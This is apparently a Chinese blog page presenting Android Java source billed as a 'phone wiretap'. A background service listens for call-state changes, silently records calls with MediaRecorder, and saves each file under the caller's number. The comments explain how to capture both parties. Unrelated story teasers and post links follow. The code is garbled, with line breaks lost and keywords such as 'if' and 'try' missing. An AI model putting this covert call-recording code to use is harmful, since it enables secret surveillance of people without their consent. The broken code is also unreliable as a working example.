電話竊聽器

import java.io.IOException;import android.app.Service;import android.content.Context;import android.content.Intent;import android.media.MediaRecorder;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class RecordService extends Service{@Overridepublic IBinder onBind(Intent intent) {// TODO Auto-generated method stubreturn null;}@Overridepublic void onCreate() {super.onCreate();//創(chuàng)建一個電話管理器對象TelephonyManager manager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);/創(chuàng)建電話狀態(tài)的一個監(jiān)聽器MyPhoneStateListener listener = new MyPhoneStateListener();//調(diào)用電話管理器的listen方法注冊監(jiān)聽//參數(shù):1.監(jiān)聽器挂谍,2.要監(jiān)聽打電話的狀態(tài)manager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);}private class MyPhoneStateListener extends PhoneStateListener{private MediaRecorder recorder;@Overridepublic void onCallStateChanged(int state, String incomingNumber) {switch (state) {case TelephonyManager.CALL_STATE_IDLE:Log.e("TAG", "空閑狀態(tài)"+"錄音結(jié)束");(recorder != null) {try {recorder.stop();//停止錄音} catch (Exception e) {e.printStackTrace();finally{recorder.reset(); ? //重置recorder.release(); //釋放}}break;case TelephonyManager.CALL_STATE_RINGING:Log.e("TAG","響鈴"+incomingNumber+",準(zhǔn)備一個錄音機(jī)");recorder = new MediaRecorder();//設(shè)置音頻的輸入源 ?MIC只能錄自己的聲音 高每;VOICE_CALL可以錄雙方的聲音recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//設(shè)置音頻輸出的格式.3gp(體積小 所禀,效果差 碘赖,壓縮狠)recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//設(shè)置音頻的編碼,AMR是早期彩屏彩鈴手機(jī)上使用的音頻格式另绩,一般用做手機(jī)鈴聲//NB(窄帶) ? WB(寬帶)recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//設(shè)置輸入之后文件保存的路徑recorder.setOutputFile(getCacheDir()+"/"+incomingNumber+".3gp");//錄音機(jī)開始準(zhǔn)備{recorder.prepare();} catch (IllegalStateException e) {/ TODO Auto-generated catch blocke.printStackTrace();} catch (IOException e) {// TODO Auto-generated catch blocke.printStackTrace();}break;case TelephonyManager.CALL_STATE_OFFHOOK:Log.e("TAG","接電話了"+incomingNumber + ",開始錄音");recorder.start(); ? // 開始錄音default:break;}super.onCallStateChanged(state, incomingNumber);}}}

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末辣垒,一起剝皮案震驚了整個濱河市刁品,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌回论,老刑警劉巖散罕,帶你破解...
    沈念sama閱讀 217,277評論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異傀蓉,居然都是意外死亡欧漱,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,689評論 3 393
  • 文/潘曉璐 我一進(jìn)店門葬燎,熙熙樓的掌柜王于貴愁眉苦臉地迎上來误甚,“玉大人,你說我怎么就攤上這事谱净∫ぐ睿” “怎么了?”我有些...
    開封第一講書人閱讀 163,624評論 0 353
  • 文/不壞的土叔 我叫張陵岳遥,是天一觀的道長奕翔。 經(jīng)常有香客問我,道長浩蓉,這世上最難降的妖魔是什么派继? 我笑而不...
    開封第一講書人閱讀 58,356評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮捻艳,結(jié)果婚禮上驾窟,老公的妹妹穿的比我還像新娘。我一直安慰自己认轨,他們只是感情好绅络,可當(dāng)我...
    茶點故事閱讀 67,402評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著嘁字,像睡著了一般恩急。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上纪蜒,一...
    開封第一講書人閱讀 51,292評論 1 301
  • 那天衷恭,我揣著相機(jī)與錄音,去河邊找鬼纯续。 笑死随珠,一個胖子當(dāng)著我的面吹牛灭袁,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播窗看,決...
    沈念sama閱讀 40,135評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼茸歧,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了显沈?” 一聲冷哼從身側(cè)響起软瞎,我...
    開封第一講書人閱讀 38,992評論 0 275
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎构罗,沒想到半個月后铜涉,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,429評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡遂唧,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,636評論 3 334
  • 正文 我和宋清朗相戀三年芙代,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片盖彭。...
    茶點故事閱讀 39,785評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡纹烹,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出召边,到底是詐尸還是另有隱情铺呵,我是刑警寧澤,帶...
    沈念sama閱讀 35,492評論 5 345
  • 正文 年R本政府宣布隧熙,位于F島的核電站片挂,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏贞盯。R本人自食惡果不足惜音念,卻給世界環(huán)境...
    茶點故事閱讀 41,092評論 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望躏敢。 院中可真熱鬧闷愤,春花似錦、人聲如沸件余。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,723評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽啼器。三九已至旬渠,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間端壳,已是汗流浹背坟漱。 一陣腳步聲響...
    開封第一講書人閱讀 32,858評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留更哄,地道東北人芋齿。 一個月前我還...
    沈念sama閱讀 47,891評論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像成翩,于是被迫代替她去往敵國和親觅捆。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,713評論 2 354

推薦閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,104評論 25 707
  • 研究錄音是源于即時通訊的項目麻敌。寫出一個即時通訊很簡單栅炒,但是寫好一個即時通訊就不是一件容易的事,比如聊天中語音的加入...
    2c2z0閱讀 2,362評論 0 2
  • 這半年老公愛上了養(yǎng)魚术羔,沒事逛貼吧的時候看到別人拍的視頻赢赊,嘖嘖稱贊魚兒的時候還不忘稱贊下視頻的配樂,就這樣聽起了好妹...
    立夏時節(jié)閱讀 1,078評論 3 4
  • 背景 想要給iOS用戶推送一些信息级历,又不想使用極光啊释移,友盟之類的第三方推送SDK,畢竟是只針對iOS用戶的寥殖,并且用...
    ChaosTong閱讀 2,369評論 0 0
  • 文/千年一眼 今天上午的第二玩讳、第三節(jié)是初三的作文課,孩子們的寫作準(zhǔn)備比較充分嚼贡,提早十來分鐘完成了堂上現(xiàn)場作文熏纯,于是...
    千年一眼閱讀 486評論 2 2